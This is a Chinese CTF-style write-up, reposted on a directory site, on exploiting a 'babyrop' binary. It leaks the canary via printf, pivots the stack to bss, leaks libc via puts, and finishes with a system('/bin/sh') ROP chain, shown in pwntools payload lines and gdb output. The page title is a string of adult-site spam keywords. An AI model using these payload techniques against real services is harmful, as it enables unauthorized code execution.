日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

ROP是一種技巧,我們對execve函數進行拼湊來進行system /bin/sh。棧遷移的特征是溢出0x10個字符,在本次getshell中,還碰到了如何利用printf函數來進行canary的泄露。

ROP+棧遷移

目標:

ROP和棧遷移的探究

 

ROP chain

ROP和棧遷移的探究

 

首先我們:

ROPgadget --binary babyrop

ROP和棧遷移的探究

 

bss段地址:

readelf -S babyrop

ROP和棧遷移的探究

 

找到rdi的地址:

ROP和棧遷移的探究

 

我們用ida查看反匯編,圈中的是出錯情況下的處置,我們暫時可以忽略。

我們看到for循環可以輸入25個字符,我們先輸入0x18個字符,也就是24個字符,然后如果在輸入一個字符就可以看到printf函數后面跟著一個%s,且printf函數結束的標志是碰到x00,并且canary的的末尾標志也是x00。

ROP和棧遷移的探究

 

小端存儲,我們首先用24個字符a對其他字符空間進行填充,然后用字符'y'把canary中的x00進行覆蓋,這樣我們就在y這個點時進行recv,之后就可以泄露canary的內容。

具體是這樣的:

canary=u64(io.recv(7).rjust(8,'x00'))

然后再用x00對其進行填充:

ROP和棧遷移的探究

 

此題的第二個坑點是在password這里,可以看到這里使用scanf函數來進行接受,所以我們只能填寫地址。

ROP和棧遷移的探究

 

可以看到這個地址存儲password:

ROP和棧遷移的探究

 

我們進入vuln函數進行查看:

ROP和棧遷移的探究

 

發現是可以多讀0x10個字符的,這就是典型的棧遷移了:

gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
gdb.attach(io)

我們在這里下三個斷點:

第一個attach代表的是沒有遷移之前的,

ROP和棧遷移的探究

 

可以看到RBP和RSP的情況,

ROP和棧遷移的探究

 

可以看到現在的RBP已經變為0x601928。

這里插入一下POP的匯編形式:

mov esp,ebp
add $8,esp

首先我們把ebp的值給esp,然后ebp+8,因為這里是64位程序。

這里我們再看下一個attach:

ROP和棧遷移的探究

 

可以看到新棧已經建立成功了。

然后就是經典的rop了,尋找libc基址:

io.send(p64(canary)+p64(0x601940)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
#p64(0x601940) is fill byte
libc_base=u64(io.recvuntil("x7f")[-6:].ljust(8,"x00"))-libc.sym['puts']
system=libc_base+libc.sym['system']
hh=libc_base+libc.search('/bin/sh').next()

最后我們開始寫利用新棧:

system bin/sh
ROP和棧遷移的探究

 


ROP和棧遷移的探究

 

可以看到我們就拿到shell了。

一點解釋

棧遷移需要注意的點就是:

ROP和棧遷移的探究

 

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))

假如我們棧空間提升0x10:

ROP和棧遷移的探究

 

我們需要先把buf的內容填充,然后就到了rsp,pop 指令的意思是把rsp地址的內容給rip。

ROP和棧遷移的探究

 


ROP和棧遷移的探究

 

可以看到此時棧的情況是這樣的:

ROP和棧遷移的探究

 

0x40072e是ret的地址:

ROP和棧遷移的探究

 

0x0000000000400744是返回地址:

ROP和棧遷移的探究

 

0xcd95d1462e82fe00是canary的值

0x601950是填充字

0x400913是rdi的值,也就是exec函數的的第一個參數。

現在的??臻g是這樣的:

ROP和棧遷移的探究

 

然后就開始rop

如果我們直接提升0x20的空間就不會有這種事情了,我們就可以直接rdi+rop:

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))

但是這個rbp和rsp的空間是要試著找的,如果bss段有不能覆蓋的地址,就會報錯。

ROP和棧遷移的探究

 

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
ROP和棧遷移的探究

 

這樣也能夠getshell。

另一點解釋

ROP和棧遷移的探究

 

call read@plt之前棧中的情況:

ROP和棧遷移的探究

 

我們s步入,可以發現rbp和rsp的值已經改變了:

ROP和棧遷移的探究

 

0x601930:  0x0000000000400744  0x0000000000000000
0x601940:  0x0000000000000000  0x0000000000000000
0x601950:  0x0000000000000000  0x0000000000000000
0x0000000000400744是執行完read函數要去的地方,也就是nop(這個是無所謂的)
ROP和棧遷移的探究

 

可以看到在pop 和ret之前rbp和rsp棧空間又發生了改變,而且此時rip指向了rdi的地址:

ROP和棧遷移的探究

 

紅色框是棧空間的大小,可以看到此時存放的兩個地址的意義是:

p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))組成了rop。

下一步我們執行pop+ret就跳到了rdi所指在的地方,然后利用rop進行system /bin/sh。

分享到:
標簽:遷移
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定